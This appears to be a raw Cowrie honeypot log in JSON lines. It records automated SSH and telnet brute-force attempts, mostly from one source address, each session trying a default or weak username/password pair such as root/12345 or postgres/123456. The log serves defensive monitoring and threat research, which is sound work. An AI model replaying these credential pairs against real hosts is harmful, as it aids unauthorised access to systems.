{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40912,"dst_ip":"159.203.135.109","dst_port":22,"session":"5471eb694b3f","protocol":"ssh","message":"New connection: 192.109.200.237:40912 (159.203.135.109:22) [session: 5471eb694b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:20.654814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:20.696341Z","src_ip":"192.109.200.237","session":"5471eb694b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:20.849875Z","src_ip":"192.109.200.237","session":"5471eb694b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:21.097887Z","src_ip":"192.109.200.237","session":"5471eb694b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:22.183305Z","src_ip":"192.109.200.237","session":"5471eb694b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41226,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc9d7c216bb5","protocol":"telnet","message":"New connection: 152.42.224.71:41226 (10.17.0.5:23) [session: fc9d7c216bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:22.649520Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40926,"dst_ip":"159.203.135.109","dst_port":22,"session":"67214d42971b","protocol":"ssh","message":"New connection: 192.109.200.237:40926 (159.203.135.109:22) [session: 67214d42971b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:24.108766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:24.113263Z","src_ip":"192.109.200.237","session":"67214d42971b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:24.196357Z","src_ip":"192.109.200.237","session":"67214d42971b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:24.445962Z","src_ip":"192.109.200.237","session":"67214d42971b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:25.532631Z","src_ip":"192.109.200.237","session":"67214d42971b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40938,"dst_ip":"159.203.135.109","dst_port":22,"session":"360e8e188ba9","protocol":"ssh","message":"New connection: 192.109.200.237:40938 (159.203.135.109:22) [session: 360e8e188ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:27.461788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:27.467942Z","src_ip":"192.109.200.237","session":"360e8e188ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:27.550679Z","src_ip":"192.109.200.237","session":"360e8e188ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:27.798370Z","src_ip":"192.109.200.237","session":"360e8e188ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:28.884328Z","src_ip":"192.109.200.237","session":"360e8e188ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45642,"dst_ip":"159.203.135.109","dst_port":22,"session":"62b648c20c64","protocol":"ssh","message":"New connection: 192.109.200.237:45642 (159.203.135.109:22) [session: 62b648c20c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:30.813010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:30.818048Z","src_ip":"192.109.200.237","session":"62b648c20c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:30.901165Z","src_ip":"192.109.200.237","session":"62b648c20c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:31.151125Z","src_ip":"192.109.200.237","session":"62b648c20c64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:32.236702Z","src_ip":"192.109.200.237","session":"62b648c20c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45650,"dst_ip":"159.203.135.109","dst_port":22,"session":"38acc760b016","protocol":"ssh","message":"New connection: 192.109.200.237:45650 (159.203.135.109:22) [session: 38acc760b016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:34.273487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:34.278572Z","src_ip":"192.109.200.237","session":"38acc760b016","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:34.362741Z","src_ip":"192.109.200.237","session":"38acc760b016","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:34.644674Z","src_ip":"192.109.200.237","session":"38acc760b016","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:35.732562Z","src_ip":"192.109.200.237","session":"38acc760b016","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45664,"dst_ip":"159.203.135.109","dst_port":22,"session":"f03114978c99","protocol":"ssh","message":"New connection: 192.109.200.237:45664 (159.203.135.109:22) [session: f03114978c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:37.595764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:37.599920Z","src_ip":"192.109.200.237","session":"f03114978c99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:37.684344Z","src_ip":"192.109.200.237","session":"f03114978c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:37.936399Z","src_ip":"192.109.200.237","session":"f03114978c99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":44306,"dst_ip":"10.17.0.5","dst_port":22,"session":"84dc3a9fb42a","protocol":"ssh","message":"New connection: 50.7.136.106:44306 (10.17.0.5:22) [session: 84dc3a9fb42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:38.791276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:38.795359Z","src_ip":"50.7.136.106","session":"84dc3a9fb42a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:38.876714Z","src_ip":"50.7.136.106","session":"84dc3a9fb42a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:39.022056Z","src_ip":"192.109.200.237","session":"f03114978c99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curl","password":"welltech12","message":"login attempt [curl/welltech12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:39.121444Z","src_ip":"50.7.136.106","session":"84dc3a9fb42a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:40.205848Z","src_ip":"50.7.136.106","session":"84dc3a9fb42a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42586,"dst_ip":"159.203.135.109","dst_port":22,"session":"518664bf5623","protocol":"ssh","message":"New connection: 192.109.200.237:42586 (159.203.135.109:22) [session: 518664bf5623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:40.964233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:40.968740Z","src_ip":"192.109.200.237","session":"518664bf5623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:41.052634Z","src_ip":"192.109.200.237","session":"518664bf5623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49634,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f40226bea5","protocol":"telnet","message":"New connection: 152.42.224.71:49634 (10.17.0.5:23) [session: b5f40226bea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:41.266772Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:41.377296Z","src_ip":"192.109.200.237","session":"518664bf5623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:42.463780Z","src_ip":"192.109.200.237","session":"518664bf5623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42594,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d8387e4195c","protocol":"ssh","message":"New connection: 192.109.200.237:42594 (159.203.135.109:22) [session: 1d8387e4195c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:44.384851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:44.389028Z","src_ip":"192.109.200.237","session":"1d8387e4195c","protocol":"ssh"}
